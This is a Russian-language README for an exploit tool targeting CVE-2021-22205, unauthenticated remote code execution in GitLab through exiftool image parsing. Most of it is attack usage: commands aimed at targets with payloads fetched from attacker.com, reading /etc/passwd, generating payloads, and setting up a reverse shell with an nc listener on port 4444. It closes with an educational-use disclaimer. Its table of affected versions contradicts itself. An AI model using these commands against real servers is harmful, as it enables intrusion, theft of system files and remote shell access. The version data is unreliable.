
Эксплойт для CVE-2021-22205, нацеленный на неаутентифицированное удалённое выполнение кода в GitLab через вредоносную загрузку файла. Предоставляет proof-of-concept код для тестирования безопасности.
CVE-2021-22205 — это эксплойт для GitLab, использующий неаутентифицированное удалённое выполнение кода (RCE) через загрузку изображений. Уязвимость присутствует в GitLab CE/EE, начиная с версии 11.9 и до 13.10.2. Для эксплуатации требуется только возможность загрузки изображений в GitLab. Никакой аутентификации не требуется, если загрузка изображений разрешена для неаутентифицированных пользователей (что часто встречается в общедоступных инстансах GitLab).
Этот эксплойт использует уязвимость в exiftool (CVE-2021-22204) для достижения выполнения кода.
| Версия | Статус |
|---|
| >= 11.9, < 13.8.8 | Уязвима |
| >= 13.8.8, < 13.9.6 | Уязвима |
| >= 13.9.6, < 13.10.3 | Уязвима |
| >= 13.10.3 | Исправлена |
python3 exploit.py -t http://target.com -u http://attacker.com/payload.jpg
| Аргумент | Описание |
|---|---|
-t, --target | URL-адрес цели (обязательно) |
-u, --url | URL-адрес полезной нагрузки (обязательно) |
-p, --proxy | Прокси-сервер (например, http://127.0.0.1:8080) |
-c, --command | Команда для выполнения (по умолчанию: id) |
-m, --method | Метод HTTP: GET или POST (по умолчанию: POST) |
-e, --endpoint | Конечная точка загрузки (по умолчанию: /uploads/user) |
--sleep | Время ожидания ответа в секундах (по умолчанию: 5) |
--output | Файл для сохранения выходных данных |
--verbose | Подробный вывод |
# Базовая эксплуатация с выполнением команды `id`
python3 exploit.py -t http://gitlab.com -u http://attacker.com/payload.jpg -c id
# Эксплуатация с прокси-сервером для отладки в Burp Suite
python3 exploit.py -t http://gitlab.com -u http://attacker.com/payload.jpg -p http://127.0.0.1:8080
# Эксплуатация с указанием собственной команды
python3 exploit.py -t http://gitlab.com -u http://attacker.com/payload.jpg -c "cat /etc/passwd"
# Сохранение выходных данных в файл
python3 exploit.py -t http://gitlab.com -u http://attacker.com/payload.jpg --output output.txt
Вы можете создать полезную нагрузку (payload.jpg), следуя инструкциям из этого репозитория. Либо использовать предоставленный скрипт generate_payload.py:
python3 generate_payload.py -u http://attacker.com/shell.jpg -o payload.jpg
Примечание: URL-адрес полезной нагрузки должен быть доступен с сервера GitLab. Если цель размещена локально, возможно, потребуется использовать такие сервисы, как ngrok, для предоставления вашей полезной нагрузки наружу.
Файл payload.jpg в каталоге collab/ включает полезную нагрузку, которая отправляет обратное подключение к 127.0.0.1:4444. Вы можете переключить IP-адрес и порт в файле shell.sh, а затем перегенерировать полезную нагрузку, используя предоставленный скрипт.
# 1. Отредактируйте shell.sh
# 2. Перегенерируйте полезную нагрузку
python3 generate_payload.py -u http://attacker.com/shell.jpg -o payload.jpg
# 3. Запустите прослушиватель
nc -lvnp 4444
# 4. Выполните эксплойт
python3 exploit.py -t http://gitlab.com -u http://attacker.com/payload.jpg
Этот инструмент предназначен только для образовательных целей и тестирования на проникновение с соответствующим разрешением. Использование этого инструмента в незаконных целях строго запрещено. Разработчик не несёт ответственности за любой неправильное использование этого инструмента.